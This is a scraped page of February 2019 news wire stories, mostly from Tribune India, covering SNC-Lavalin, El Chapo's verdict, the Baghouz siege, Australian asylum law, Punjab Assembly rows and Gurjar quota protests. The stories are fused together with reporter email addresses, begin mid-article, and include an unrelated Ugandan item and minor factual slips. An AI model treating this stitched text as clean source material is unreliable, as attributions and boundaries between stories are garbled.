Conservative leader Andrew Scheer reacted to her resignation by saying Trudeaus ethical lapses and his disastrous handling of this latest scandal have thrown his government into chaos. He also accused the prime minister of trying to hide the truth with regards to the SNC-Lavalin affair.

The Canadian charges against SNC-Lavalin were just the latest blow to one of the worlds largest construction and engineering firms, after its former president and senior executives were accused of fraud, and the World Bank banned it from bidding on projects until 2023 due to misconduct in Bangladesh and Cambodia.

The company, its international arm and another subsidiary are accused of having offered Can$47 million (US$36 million) in bribes to officials and of defrauding the Libyan government of Can$130 million (US$98 million).

It oversaw billions of dollars in projects in Libya, including construction of a prison outside Tripoli and an airport in Benghazi.

The charges relate to the worlds largest irrigation projectthe Great Man Made River Projectto provide fresh water to the cities of Tripoli, Benghazi and Sirte.

The firm employs 50,000 people worldwide, and if found guilty in Canada it would be prohibited from bidding on Canadian government projectsits lifeblood.

It has argued that those responsible for alleged wrongdoing left the company long ago, and that holding it accountable for their criminal actions would severely hurt its business.  AFP

Row over engg firmlaxmi@tribune.com

New York, February 12

The world's most infamous cartel boss Joaquin "El Chapo" Guzman, who rose from poverty in rural Mexico to run a global drug empire and amass billions of dollars, was found guilty in a US court on Tuesday of operating a criminal enterprise.

Jurors in federal court in Brooklyn began delivering their verdict following an 11-week trial. Guzman, 61, now faces a possible sentence of life in prison.

Guzman, one of the major figures in Mexican drug wars that have roiled the country since 2006, was extradited to the United States for trial in 2017 after he was arrested in Mexico the year before.

Though other high-ranking cartel figures had been extradited previously, Guzman was the first to go to trial instead of pleading guilty.

The trial, which featured testimony from more than 50 witnesses, offered the public an unprecedented look at the inner workings of the Sinaloa Cartel, named for the state in northwestern Mexico where Guzman was born in a poor mountain village.

The legend of Guzman was burnished by two dramatic escapes he made from Mexican prisons and by a "Robin Hood" image he cultivated among Sinaloa's poor.

US prosecutors said he trafficked tons of cocaine, heroin, marijuana and methamphetamine into the United States over more than two decades, consolidating his power in Mexico through murders and wars with rival cartels.  Reuters

Was extradited to US for trial in 2017gspannu7@gmail.com

Colombo, February 13

An Indian national arrested for possible links to an alleged plot to assassinate Sri Lankan President Maithripala Sirisena was on Wednesday further remanded in custody until February 27.

Marceli Thomas was arrested in October following a complaint by Namal Kumara, a police informant, who had alleged a plot to assassinate Sirisena and Gotabhaya Rajapaksa, the former top defence ministry bureaucrat and brother of ex-president Mahinda Rajapaksa.

Kumara also claimed that the senior police officer in charge of the polices counter-terrorism division Nalaka Silva had masterminded the plot. Silva has since been interdicted and questioned extensively by the police CID.

The police maintained although no details had emerged on the alleged plot to kill Sirisena, Silva had been arrested for plotting the murder of a police officer.

Thomas, said to be from Kerala, appeared before a court on Wednesday.

Sirisena in late October sacked Prime Minister Ranil Wickremesinghe triggering an unprecedented constitutional crisis which lasted nearly two months.

The alleged assassination plot and Wickremesinghe governments go slow on the investigation was cited by Sirisena as one of the reasons for his sacking of Wickremesinghe.

He appointed former strongman Mahinda Rajapaksa in Wickremesinghes place.

Later, Sirisena was forced to reappoint Wickremesinghe as the prime minister after Rajapaksa failed to prove his majority twice in Parliament.  PTIlaxmi@tribune.com

WASHINGTON: Prominent Indian-American attorney Neomi Rao, nominated by President Donald Trump for the powerful DC Circuit Court of Appeals, has apologised for the "insensitivity" in her college days articles on date rape and sexual assault. Rao came under fire during her confirmation hearing last week over op-eds she wrote as an undergraduate at Yale, the Politico reported. In an article on date rape, Rao wrote that if a woman "drinks to the point where she can no longer choose, well, getting to that point was part of her choice". PTI

Swastikas found scrawled on French Jewish symbols

PARIS: A tree planted in a Paris suburb in memory of a young Jewish man who was tortured to death in 2006 has been chopped down, authorities have said, confirming the latest in a series of anti-Semitic acts in France. Ilan Halimi was kidnapped by a gang that demanded huge sums of money from his family, believing them to be rich because he was Jewish. In two separate incidents in the past two days, swastikas were drawn on Paris postboxes containing portraits of late Holocaust survivor Simone Veil and the word Juden (German for Jews) was sprayed on the window of a bagel bakery in the capital. AFPpardeepdhull@gmail.com

Near Baghouz (Syria), February 13

Exhausted families trudged out of the Islamic State groups last bastion in eastern Syria on Tuesday, as Kurdish-led forces boxed holdout jihadists into an ever-shrinking pocket.

Hundreds fled at night but hundreds more during the day as plumes of grey smoke billowed into the sky over Baghouz, where diehard IS fighters are making their last stand.

The extremist group declared a cross-border caliphate in Syria and Iraq in 2014, but various military campaigns have chipped it down to a fragment on the Iraqi border.

After a pause of more than a week to allow out civilians, the Syrian Democratic Forces (SDF) declared a last push to retake the pocket from the extremists on Saturday.

Aided by the warplanes and artillery of a US-led coalition, the Kurdish-led alliance has pressed into a patch of less than four square kilometres (one square mile).

SDF spokesman Mustefa Bali said 600 civilians fled the combat zone at night and the Syrian Observatory for Human Rights said another 350 made it out during the day.

The SDF have set up a pair of sand berms on a scrubby plateau overlooking Baghouz.

Most of the neighbourhoods visible along the hazy horizon are under their control, but the southernmost parts of the townfrom which sounds of a firefight can be heardare still held by IS.

Suddenly, black dots appeared on the dirt road that snakes across the plain from the ruins of the little town.

The SDF watched them warily at first, but as the group of about 25 people got closer, members of the Free Burma Rangers volunteer medical group scrambled down the hill to meet them.

There are no other NGOs or UN agencies at the site.

Half a dozen among the new arrivals were adult men. The rest were young children with dirty hair and women panting heavily after their odyssey out of Baghouz.

About half of them were Ukrainian or Russian women and their children, while most of the others were Syrian.

A 34-year-old woman from Crimea tore pieces of bread to give her three children. She identified herself as Umm Khaled and said she came to Syria five years ago after divorcing her Tatar husband.

Once there, she married an Azeri IS member and had two other children. They are all fatherless now, she told AFP in broken Arabic, her voice shaking.

Coalition spokesperson Sean Ryan said US-backed forces were facing a fierce fightback.

The progress is slow and methodical as the enemy is fully entrenched and IS fighters continue to conduct counter attacks, he said.

The coalition continues to strike at IS targets whenever available.  Six hours? In the cold?  On Monday, the Observatory said a coalition air strike killed 16 civilians.

An Italian journalist was also injured as he covered the clashes and evacuated for treatment, a colleague said on Twitter.

The SDF launched the battle to expel IS from the eastern province of Deir Ezzor in September, slowly tightening the noose around the jihadists and their families since December.

In the past two months, more than 37,000 people, mostly wives and children of jihadist fighters, have fled into SDF-held areas, the Observatory says.

That figure includes some 3,400 suspected jihadists detained by the SDF, according to the Britain-based monitor.

At a gathering point for new arrivals, dozens of men knelt on the ground.

Iraqi and Syrian women and children prepared to make the long journey north to a Kurdish-held camp for the displaced, after spending the night in tents.

A very thin child with dark circles around his eyes stumbled onto a truck, as other children screamed out for water and their mothers asked how long the drive would take.

Six hours? In the cold? shouted a wrinkled Iraqi woman.

The SDF on Saturday said up to 600 jihadists could still be inside the pocket, adding their leader Abu Bakr al-Baghdadi was likely not there.

At the height of their proto-state, Baghdadis followers implemented their brutal implementation of Islamic law in an area the size of Britain.

But various offensives, including by the SDF and Russia-backed regime forces, have taken back all but a speck of that territory near the village of Baghouz.

Once the caliphate is declared over, the fight will continue to tackle IS sleeper cells, the SDF and their allies have said.

US President Donald Trump on Monday said the coalition may declare victory over IS in the region within days.

Soon it will be announced, soon, maybe over the next week, maybe less, he told a rally in the US city of El Paso.

Separately on Tuesday, the Syrian government and rebels exchanged prisoners in the countrys north as part of a peace process brokered by Russia, Iran and Turkey, the Turkish government said.  AFPArticles Sorry, there are no recent results for popular articles.

Images Sorry, there are no recent results for popular images.rchopra@tribunemail.com

Dubai, February 13

Veteran actor Harrison Ford has taken a dig at US President Donald Trump over the countrys decision to opt out of Paris climate agreement, saying those who denied the threat of climate change are on the wrong side of history.

During his speech at the final day of the World Government Summit here on Tuesday, Ford said the world needed to protect nature as humans are facing the greatest moral crisis of our time.

All of us, whether rich or poor, powerful or powerless, will suffer the effects of climate change and ecosystem destruction as were faced with the greatest moral crisis of our time, he said.

The land and the sea are the legacy we will leave to future generations...We must intervene and act before it is too late...We need to protect nature because nature does not need people, but people need nature, he added.

According to Arab News, the 76-year-old veteran, famous for playing cult characters such as Han Solo in Star Wars franchise and the title character of Indiana Jones series, started his speech with a dig at Trump without even taking his name.

Around the world elements of leadership, including in my own country, to preserve their state and the status quo, deny or denigrate science. They are on the wrong side of history, he said.

In 2017, Trump had announced that the US would be exiting Paris climate pact, saying it would pose a burden on the US economy. PTIpardeepdhull@gmail.com

Sydney, February 13

Australia will reopen a controversial detention centre for asylum seekers, Prime Minister Scott Morrison said on Wednesday after an embarrassing defeat in parliament that allows migrants in offshore camps to receive medical care in the country.

The opposition Labor party and independents voted to amend hardline immigration laws to give doctors the right to transfer some 1,000 men and woman from two Pacific detention centres if they need medical treatment.

The amendment, approved by the Senate on Wednesday, dealt a blow to the ruling conservative coalition which is trailing heavily in polls ahead of an election due in May.

Morrison, offering a preview of a campaign pitch likely to focus on immigration, said the change would bring a new wave of asylum seekers and forced the government to reopen a detention centre on Christmas Island, a territory some 1,550 km (960 miles) north-west of the mainland.

We have approved putting in place the reopening of the Christmas Island detention facilities, both to deal with the prospect of arrivals as well as dealing with the prospect of transfers, Morrison told reporters in Canberra.

Previously, asylum seekers intercepted at sea and sent to camps in Papua New Guinea (PNG) and Nauru were not allowed to set foot in Australia unless the government decided they need urgent care.

Immigration Minister David Coleman said on Sunday the change would bring a return of the days when thousands of asylum-seekers travelled to Indonesia and then paid smugglers to take them on to Australia by boat.

Opponents accused the government of fear mongering, saying the amendment concerned only those already detained in the Pacific camps.

This legislation is confined to the current cohort of people on Manus Island and Nauru, said Kerryn Phelps, an independent lawmaker.

It does not provide any kind of attraction to people to leave where they are and to try to make the journey to Australia because they will not be considered as part of this legislation.

The Christmas Island detention facilities  shuttered last year after 10 years in operation  has been a central scene in the outcome of previous national elections.

In 2001, Australias then conservative Prime Minister John Howard refused permission for a Norwegian ship carrying 433 rescued refugees to enter Australian waters.

Howard, who was trailing in the polls at the time, won re-election and held onto power until 2007. After he left office, the centre-left Labor government began holding refugees on Christmas Island.

As a stream of new arrivals swelled already cramped conditions, protests broke out that fuelled an image of a government that had lost control of national security, propelling the conservatives back to power in 2013.

Morrison is hoping to use the issue to win favour with disillusioned voters, said Peter Chen, a professor of political science at the University of Sydney.

Morrison will be happy to fight an election on this issue.

He doesnt have a lot to campaign on, but on this he is on strong ground, he said. Reuterslaxmi@tribune.com

Sydney, February 12

Australias government suffered an embarrassing defeat in parliament on Tuesday, as the lower house voted for a measure allowing asylum seekers to access medical care, the first such loss by a government in 78 years.

Independent lawmakers and the opposition Labour party voted together to pass the Bill by 75 votes to 74, dealing a blow to the ruling conservative coalition, which is trailing heavily in polls ahead of an election due in May.

Great to see the Australian parliament finally vote for humanity, Behrouz Boochani, an Iranian held in an Australian-run camp in Papua New Guinea (PNG) wrote on Twitter, hailing the passing of the legislation.

Many people are happy now because they will finally receive medical treatment.

The vote drew cheers from asylum-seeker activists in parliaments public gallery but the upper house must approve the bill before it becomes law, so the defeat, though damaging for the government, does not trigger an immediate election.  Reutersrchopra@tribunemail.com

Tribune News Service

Chandigarh, February 13

On the ongoing Budget Session in Punjab Assembly on Wednesday, SAD MLAs staged a walkout on the issue of caning of protesting teachers in Patiala.

AAP legislators also raised the issue.

Akali MLAs stormed into the Well of the House. They raised slogans against the government for lathicharge on teachers before staging a walkout.

Earlier, SAD MLA Bikram Majithia said the party would get an adjournment motion on the issue of harassment of schoolteachers on the roads of the state.

The Ludhiana gangrape case also echoed in the Assembly. The Opposition targeted the CM on the case.

AAP members also walked out of house on the issues of lathicharge on teachers, Ludhiana gangrape, and the deteriorating law and order situation in Punjab.

AAP legislators said the Speaker should allow a debate on issues of employees.

Majithia said the Speaker had a flimsy excuse for not allowing an adjournment on the issue of teachers. They were told that this was not a serious issue, he claimed.

Congress MLA Raj Kumar Verka said the Governor on Tuesday gave a ground report of the state governments achievements in different fields.

The Speaker pulled up AAP MLA Kultar Singh Sidhwan saying he was making a mockery of the House by making fun of Raj Kumar Verkas statement in the House.

The Speaker asked Congress MLA Harminder Gill to address the chair and not directly get into argument in the House with the opposition. He also asked SAD MLA Harinderpal Singh Chandumajra to behave.

Gill said the protests if any should be regulated. Do the employees have the right to stand in front of government and hurl abuses?

AAP MLA Budh Ram alleged that 90 per cent of what the governor had said on Tuesday was not true.

HS Phoolka said the Assembly should ensure that the SGPC is run efficiently and that fair elections to the Sikh body were held.

He said the PM in a reply to his letter had written that the SGPC had completed its tenure in December 2016.

A new chief commissioner of election for the SGPC would now be appointed, so the process would be delayed. The House should pass a resolution and write to the Centre that the elections be held immediately, he added.

Meanwhile, SAD leaders Parminder Dhindsa and Bikram Majithia in a press conference accused the AAP of playing second fiddle to the Congress in not extending the budget session.

They accused the Speaker and the ruling party of allowing rebel AAP to sit with AAP members to protect their membership.

They said the division of time to the AAP and rebel AAP members by the Speaker is questionable.

Talking in context of Sukhpal Khaira and HS Phoolka, the Speaker needed to clear the air on the status of those who had resigned. This showed the connivance between AAP rebels and Congress benches, they said.

Dhindsa said the business advisory committee had been hijacked by the Congress .

The AAPs leader of opposition and the rebel AAP members had connived with the Congress, they alleged.rchopra@tribunemail.com

Jammu, February 13

A 30-year-old soldier allegedly committed suicide by shooting himself with his service rifle at an Army camp here, a police official said on Wednesday.

Sepoy Sandeep Singh, a resident of Punjab, was on guard duty at a post in a transit camp at Panama Chowk where he shot himself in the head on Tuesday, the official said.

His colleagues rushed to the scene on hearing the gunshot and found him dead on the spot, he said.

The body was handed over to the Army for last rites after completion of the legal formalities, the official said. The motive behind Singh taking the extreme step is yet to be ascertained, he said. PTIharinder@tribunemail.com

Charanjit Singh Teja

The Khadoor Sahib constituency is set to determine the course of Sikh politics in the General Election. Considered a Panthic constituency, it is here that the Shiromani Akali Dal and the Shiromani Akali Dal (Taksali) will be testing their political mettle.

Traditionally an Akali stronghold, this constituency will see a contest between the newly carved SAD (Taksali) led by sitting MP Ranjit Singh Brahmpura and the parent party SAD. No wonder, both sides are gearing up and trying to make this the epicentre of Sikh political discourse.

Though a close contest between the Panthic leaders remains the main political talk here, people of this constituency are unhappy with the successive governments as BiPaSa (bijli, paani and sadak) is still a distant dream. The connectivity between villages that are located along both sides of Beas, compensation for crops damaged in floods and other issues like tilling land beyond fencing on the India-Pakistan border will play a major role in the polls.

Around 140 villages are located on both sides of Beas. There are several villages which are on the riverbed. The natives of these villages have to travel 30 km to cross the river through a bridge. Residents major demand is a bridge on Beas. In October 2013, nine boys were drowned as a boat capsized in the river.

Eight years back, then CM Parkash Singh Badal announced a bridge over the river, but nothing happened.

Residents of Mand (land where river used to run) villages of Tarn Taran hope that while celebrating the 550th birth anniversary of Guru Nanak, the Punjab government would construct a bridge between Sultanpur Lodhi and Munda Pind area.

Gurdev Singh of Munda Pind said: The farmers have to take even their farm machinery on boats. The bridge is a necessity.

But, Pargat Singh, a boatman, says he is sure that no bridge will be constructed and he wont lose his livelihood earned by ferrying people.

Farmers of the Mand area did not get compensation for the crops damaged in floods. Darshan Singh, a farmer said, We got the last compensation during the previous SAD regime. The Congress government did not give a single penny.

The constituency has 110-km India-Pakistan border line. The nation may have forgotten the 2016 surgical strike, but farmers of Khemkaran and Patti are yet to recover from the loss. The area residents, already fighting rampant drug smuggling, unemployment and farm crisis, had to evacuate their homes.

Farmer Arsal Singh Sandhu said, Farmers have more than 3,000 acres beyond the fencing near the border. They face inconvenience due to restrictions by the security forces.

The Dalits, who work as farm labourer, are upset as there was no announcement for farm labourers in the Budget.

Mukhtiar Singh, farm labourer from Bhail village, said, Modi announced Rs 6,000 for farmers, but nothing for us. There is no social security for us. Even the Atta-Dal scheme is now closed.rchopra@tribunemail.com

Tribune News Service

Chandigarh, February 13

Taking a serious note of the Ludhiana gangrape case, Punjab Chief Minister Captain Amarinder Singh on Wednesday mooted fast-track courts to try rape cases, while assuring the Assembly that he would approach the Chief Justice of Punjab and Haryana High Court to seek his intervention.

Responding to an issue raised by LIP MLA Simarjit Singh Bains and AAP MLA Kultar Singh Sandhwan over the recent Ludhiana gangrape case, the Chief Minister assured the House that he would also request the Chief Justice to try all such cases in a fast-track court on a day-to-day basis.

He stressed the need for prompt dispensation of justice to the victims, besides exemplary punishment to the convicts.

The Chief Minister informed the Vidhan Sabha that out of the six men involved in the heinous crime, three had been arrested and the remaining would be nabbed soon.

Asserting that there was no law and order problem in the state, Amarinder challenged the opposition to a debate on the issue. No major law and order problem had taken place in the state since his government took over, the CM said.

The state police had successfully neutralised all major gangsters operating in Punjab under the patronage of the previous regime, besides solving all the cases of targeted killings, he pointed out, adding that his government had restored the trust of the people in this period.uttara@tribuneindia.com

Ludhiana, February 13

A court in Ludhiana on Wednesday remanded the three men, arrested in connection with the gang-rape of a woman here, for seven days in police custody even as the accused were manhandled by Akali Dal supporters.

The three accused identified as Sadiq Ali, Jagroop Singh and Surmo (all in age group of 20 to 30) were presented before Ludhiana Judicial Magistrate Ankit Aerry who remanded them in police custody for seven days.

A group of protesters owing allegiance to youth Akali Dal led by Meetpal Singh Dugri hurled shoes and also manhandled the accused while they were being taken to the court, police said.

A 21-year-old woman was raped allegedly by 10 men near Issewal village on the banks of Sidwan canal, about 15 km from Ludhiana on Saturday, after the car she was travelling in with her friend was stopped and she was dragged out.

Chief Minister Amarinder Singh said in the Punjab Assembly that fast track courts were mooted to try rape cases.

He also assured the House that he would approach the Chief Justice of Punjab and Haryana High Court in Chandigarh to seek his personal intervention to ensure speedy justice in such cases.

The CM stressed the need for prompt dispensation of justice to the victims, besides exemplary punishment to the convicts in such dastardly acts as a deterrent for others.

He informed the House that out of the six alleged persons involved in this heinous crime, three had already been arrested and the remaining would be nabbed soon.  PTIeditorial@tribune.com

Saurabh Malik

Tribune News Service

Chandigarh, February 12

The Punjab and Haryana High Court has made it clear that assurances and commitments made before the elections by political parties in their manifestos cannot be enforced through the process of courts.

The judgment came ahead of the parliamentary polls on a petition filed by Mahesh Chander Singh against the state government and other respondents. Appearing before the Bench of Justice Tejinder Singh Dhindsa, his counsel sought issuance of directions to the respondent-authorities to implement and fulfil the commitments to the farmers in the state during the Assembly and parliamentary elections.

Taking up the matter, Justice Dhindsa asserted that the issue raised in the petition was founded upon an election manifesto circulated by the political parties concerned. This court is of the considered view that a writ of mandamus would not be issued to implement such assurances/commitments if any. Describing the writ petition as wholly misconceived, Justice Dhindsa dismissed the plea.

The Punjab government, otherwise, has placed before the Bench an affidavit giving the details of 100 beneficiary-farmers of Mansa district. The list came less than a year after the government told the High Court that Rs 423.44 crore had been disbursed to 68,917 beneficiaries.

The affidavit placed before the Division Bench of Chief Justice Krishna Murari and Justice Arun Palli, included their names, amount disbursed and the date of disbursement. The developments took place during the hearing of a petition filed against the state government and other respondents by Mohit Kapoor through counsel Ravi Kamal Gupta.Speaker of Parliament, Rebecca Kadaga has secured fully paid scholarships for Ugandan students at South Korea-based Sun Moon University after meeting the institutions Chairman Hwang Sun-Jo.

Their meeting happened in Koreas capital Seoul and Kadaga invited Sun-Jo to visit Uganda in March, to finalize details of the scholarship program ahead of its commencement in the academic year 2019/2020.

Kadaga offered to coordinate a working relationship between universities in Uganda and Sun Moon University. It will be great to extend this opportunity to our children, so that we use your knowledge to claim our place in the information age, said Kadaga.

Stories Continues after ad

Located in Asan-si, Chungcheognam in central Korea, the 1985 founded university boasts of state-of-the-art facilities with over 15 faculties.

Kadaga later had a meeting with the leader of Universal Peace Foundation Mr Hakja Han Moon in Seoul, on the sidelines of the World Summit on Universal Peace Federation 2019.

She applauded Hakja for his efforts to support world peace, saying it is the most important pre-requisite of trade and economic development.

Kadaga said Uganda continues to advance peace in the region, and said a Parliamentary Forum on Peace will be created soon, urging Hakja to visit and witness its official formation.

The Summit was held under the theme peace, security and human development, the conference was attended by leaders across the globe, including Ghanaian former president Jerry Rawlings, Paraguay President Mario Abdo Benitez among others.

Kadaga said it is a responsibility the world should never tire from noting that the alternative can never be conducive for human progress.editorial@tribune.com

Sanjeev Singh Bariana

Tribune News Service

Chandigarh, February 12

Punjab is threatened with a water famine and needs resources to tackle it, said Governor VP Singh Badnore, while addressing the opening session of the Assembly today.

We wish that the Centre takes note of it and helps before the state turns into a desert. The Central Ground Water Board has declared nearly two-thirds of the state area as dark zone. Punjab proposes to set up a state water authority to ensure better regulation and conservation of water, Badnore said.

The Governor, in his 55-minute address, blamed Punjabs current financial crisis on the previous SAD-BJP government. He alleged that financial imprudence and reckless spending by the Badal government had led the state into a debt trap. The state had a liability of Rs 13,039 crore as on March 2017, he said.

Meanwhile, MLAs of the SAD-BJP got up right after the Governor started his address and raised slogans against the government for its failure to address the issue of farmer suicides. They later walked out of the House.

Continuing his address, Badnore said no one involved in the sacrilege cases would be spared as the government was committed to the Justice Ranjit Singh Commission findings.

He said the state police neutralised 1,414 gangsters in the last two years. At least 19 terror modules have been busted, which included 101 terrorists and 22 foreign handlers. As many as 21,049 cases have been registered under the NDPS Act wherein 25,092 peddlers were arrested and more than 556 kg heroin was seized.

Not only teachers, grievances of all employees of the state were receiving full attention of the government, the Governor said. He underlined the governments efforts in improving the quality of education. At least 1.73 lakh pre-primary students were enrolled in 12,921 schools and 2,387 English medium primary schools were started, he said.

A total of 224 villages affected with fluoride and arsenic have been provided with safe drinking water through arsenic removal (88) and RO plants (136) in 2018. As many as 4.99 lakh toilets were constructed and 4.58 lakh power connections were given in the last two years. All 167 urban local bodies are open defecation-free, he said.

Besides, 5.83 lakh small and marginal farmers have been provided relief under waiver scheme notified in 2017. Badnore said all crop diversification schemes in the state meant nothing till the Centre assured procurement.editorial@tribune.com

Tribune News Service

Chandigarh, February 12

The Aam Aadmi Party (AAP) has demanded that the Congress government should immediately scrap the MoUs inked by the previous SAD-BJP government with private companies and bail out people subjected to paying high power rates.

Addressing the media in the presence of Leadership of Opposition Harpal Singh Cheema, Sunam MLA Aman Arora accused the Badals of entering into agreement with three private companies costing the public exchequer thousands of crores.

He said even as the state had its own resources and infrastructure to generate enough power, people had to pay higher power tariff as compared to neighbouring states. Comparing the tariff with Delhi, Arora said the Kejriwal government had been providing electricity to people in Delhi at Re 1 per unit.

On the other hand, Arora said, the Punjab government was not providing power to the poor and Dalits covered under free power scheme.

Aman Arora accused the then government of spending to the tune of Rs 737 crore in the name of the revival of thermal plants in Bathinda, but in vain.uttara@tribuneindia.com

Washington, February 13

America's tough-talking National Security Adviser John Bolton has warned countries, including India, against buying Venezuelan oil, saying nations and firms that support the embattled President Nicolas Maduro's "theft" will "not be forgotten".

Bolton's warning through a tweet on Tuesday came a day after Venezuelan Oil Minister and President of the Latin American state-run oil company PDVSA Manuel Quevedo told reporters in Greater Noida that his sanctions-hit country wants to sell more crude oil to India.

The US has slapped sweeping sanctions on PDVSA with a view to curb Venezuela's crude exports and put pressure on socialist President Maduro to step down.

"We have a good relationship with India and we want to continue this relationship. The relationships with India will continue, the trade will continue and we will simply expand all the trade and relationship," Quevedo told reporters on the sidelines of the Petrotech conference in Greater Noida.

Venezuela is the third largest supplier of oil to India which is the world's third-biggest oil consumer.

Reacting to Quevedo's India visit, Bolton said: "Nations and firms that support Maduro's theft of Venezuelan resources will not be forgotten".

"The United States will continue to use all of its powers to preserve the Venezuelan people's assets and we encourage all nations to work together to do the same," he tweeted and shared a news story about Quevedo's visit to India to sell more crude oil.

Venezuela produces around 1.57 million barrels of oil per day, half of what it produced two decades back.

With the US stopping imports from Venezuela, PDVSA is seeking to retain buyers in other big consuming countries such as China and India.

Quevedo, who now holds the rotating presidency of the Organization of the Petroleum Exporting Countries (OPEC), said on Monday that it was important to listen to all the consuming countries that represent oil demand to maintain the balance of demand and supply in the markets.

"India certainly has a good and healthy relationship with us and all the members of the OPEC and that will continue. So, we always keep these communications and relations with all-consuming countries in order to ensure stability and balance will continue," he said.

The US has caused a loss of about $20 billion to Venezuela's oil revenue-dependent economy, he added.

The Latin American country has the world's largest known reserves of oil estimated at more than 300 billion barrelsbigger than Saudi Arabia's 266 billion barrels.

President Maduro has called Donald Trump's government a "gang of extremists" and blamed the US for his country's crisis.

He is under growing internal and international pressure to call early presidential elections amid a worsening economic crisis and accusations of widespread corruption and human rights violations.

Relations between the US and Venezuela were already fraught before President Trump's administration became one of the first to back opposition leader Juan Guaido as interim President.

Venezuela broke off diplomatic relations in response while Trump said the use of military force remained "an option".

India has refused to go along with the US and recognise Guaido as the President and stop dealing with Maduro's administration.

"India and Venezuela enjoy close and cordial relations. We are of the view that it is for the people of Venezuela to find political solutions to resolve their differences through constructive dialogue and discussion without resorting to violence," External Affairs Ministry spokesperson Raveesh Kumar said last month.

Three million people, or 10 per cent of the population, have left Venezuela since its economy started to worsen in 2014, according to the UN.

Guaido says more than 300,000 Venezuelans are at "risk of dying".

Maduro, who has blamed US sanctions for Venezuela's economic woes, said the US intended to "create a humanitarian crisis in order to justify a military intervention".

Maduro was re-elected to the top post in 2018 in an election which was not participated by most of the opposition parties PTIshalender@tribune.com

Suhail A Shah

Anantnag, February 12

A soldier along with a local militant  who helped LeT commander Naveed Jutt flee a Srinagar hospital  was killed in a gunfight in Pulwama district of south Kashmir today. Two Army men were injured.

An Army officer identified the slain soldier as Havildar Baljeet Singh, 35, a resident of Karnal district of Haryana. Singh had joined the force in 2002.

The two injured personnel were taken to the Base Hospital, Srinagar, where they are undergoing treatment.

The militant, Hilal Ahmad Rather, a resident of Begum Bagh area of Pulwama, was associated with the Hizb-ul-Mujahideen.

He had helped Pakistan terrorist Naveed Jutt escape police custody at the SMHS hospital in Srinagar on February 6 last year. Two policemen were killed in the incident, said a senior police official. Jutt was killed in an encounter on November 28, last year.

The gunfight started around 3.30 am in Ratnipora when security forces were cordoning off the area following inputs of militants presence.

Later, clashes erupted prompting the security forces to use tear smoke shells and pellet guns to disperse youths.rchopra@tribunemail.com

Yash Goyal

Jaipur, February 13

Rajasthan Assembly cleared a Bill that gives 5 per cent quota for five communities Gurjar, Raika, Gadariya, Rebari, and Banjarain government jobs and educational institutions after a debate that lasted roughly 1.5 hours.

The Bill, titled The Rajasthan Backward Classes (seats in states educational institutes, jobs and posts reservation) (Amendment) Bill, 2019, amends the Other Backward Classes category to accommodate the five castes and six sub-castes and was spurred by renewed Gurjar protests that even turned violent.

The law raises OBC reservation from 21 per cent quota to 26 per cent by amending the Section 3 and 4 of the existing Bill, Rajasthan Energy and Public Works Minister BD Kalla, who was entrusted with the Bill, said as he tabled it in the assembly.

The statement of the objective and reasons for the Bill says the five castes were the most backward and required separate reservation in government jobs and educational institutes.

The House has urged the central government to make a constitutional amendment for the reservation, Speaker CP Joshi said as the House passed the Bill.

Parliament recently approved 10 per cent reservation for what it calls Economically Weaker Sections of society.

The ruling Congress also asked opposition Bharatiya Janata Party to support the Bill to ensure it doesnt face legal challenges.

The House also passed a resolution to raise existing creamy layer income of OBC beneficiaries from Rs. 2.5 lakh to Rs. 8 lakh in compliance with the central governments EWS Bill.

The amendment Bill comes at a time when the Gurjars renewed their protest for reservation. The protests affected railway traffic and brought road transport to a standstill in several parts of the state.

Past attempts

Successive state governments have tried to introduce 5 per cent reservations for Gurjars, but these have failed to stand up to judicial scrutiny.

Buckling under pressure, the state government under former chief minister Vasundhara Raje tried to introduce 5 per cent reservation for the community under the new SBC category in 2006. However, Rajasthan High Court declared it unconstitutional because it crossed the Supreme Courts 50 per cent ceiling for caste-based reservations.

Vasundhara Rajes BJP government tried to reintroduce the reservation in 2008 with same result. Rajes government tried to table another reservation Bill in 2015, but the court struck it down in December 2016.

Undeterred, Rajes government introduced a Bill to raise the OBC quota from 21 per cent to 26 per cent, granting Gurjars an additional 5 per cent, but this was also struck down by the high court.

Currently, the five communities are covered under 1 per cent reservation for MBCs.

'Nothing substantial'

The Gurjar Aarakashan Sangarsh Samiti (GASS), which is spearheading Gurjar protests that have now entered its sixth day, however remained unimpressed. GASS leader KS Bainsla said the protests would continue.

Nothing substantial has been done by the state government yet. Nobody from Gehlots government has approached us. Were still sitting on railway tracks. The agitation will continue until we get a notification of the reservation, he said.

Women's Reservation Bill

Mamta Bhupesh, MoS for Women and Child Development, moved a resolution for a third of seats in Lok Sabha and state assemblies to be reserved for women. The resolution was passed despite minor objections from BJP Leader of Opposition GC Kataria.

The Womens Reservation Bill is a controversial piece of legislation thats still awaiting Parliaments approval.

The House was adjourned sine die after the Chief Minister Ashok Gehlot tabled a vote-on-account for the first quarter of Financial Year 2019-20.

Stir to continue

Gurjar Aarakshan Sangharsh Samiti patron Col KS Bainsla rejected the governments offer. Nothing substantial has been done. The agitation will continue till 5% quota notification is out. No one has approached us on the sixth day of our sit-in.gspannu7@gmail.com

Shiv Kumar

Tribune News Service

Mumbai, February 13

Raj Thackeray and his Maharashtra Navnirman Sena are likely to join the secular alliance being formed in Maharashtra with Nationalist Congress Party chief Sharad Pawar batting for him.

Though the Congress is wary of Thackeray jeopardising its chances in north India due to his past actions against migrants living in Mumbai, the party is coming around the view that the anti-BJP-Shiv Sena vote should not be split.

On Tuesday, NCP leader Ajit Pawar told a television channel that the MNS bagged more than one lakh votes in many constituencies it contested in the 2014 general elections.

Though the MNS has suffered major setbacks in the local body elections even in its stronghold of Nashik, Raj Thackeray still attracts young voters in various places, according to the Congress and the NCP leaders.

Thackeray held several meetings with Sharad Pawar and senior Congress leaders showed up in Mumbai for the wedding of his son in Mumbai recently.

As per the tentative deal being stitched up by the Congress and the NCP, the MNS will be accommodated from the NCPs quota of seats.

Though Thackeray wants three Lok Sabha seats for the MNS, the NCP is planning to concede only the Mumbai North East Lok Sabha seat to the party.

The seat is presently held by Kirit Somaiya of the BJP.

The Shiv Sena has indicated that it would campaign against Somaiya even if the party sews up an alliance with the BJP for the general elections.ROBINSINGH@TRIBUNE.COM

Jaipur, February 12

The Gurjar agitation for 5 per cent reservation in jobs and education entered its fifth day today, with protesters blocking Chaksu town, about 40 km from here on the National Highway 52, the police said.

The blockades on the Agra-Jaipur-Bikaner National Highway-11 in Dausa district, state highway in Nainwa of Bundi district, Malarna road in Sawai Madhopur and the Karauli-Hindaun road at Budla village in Karauli district continued from the previous day.

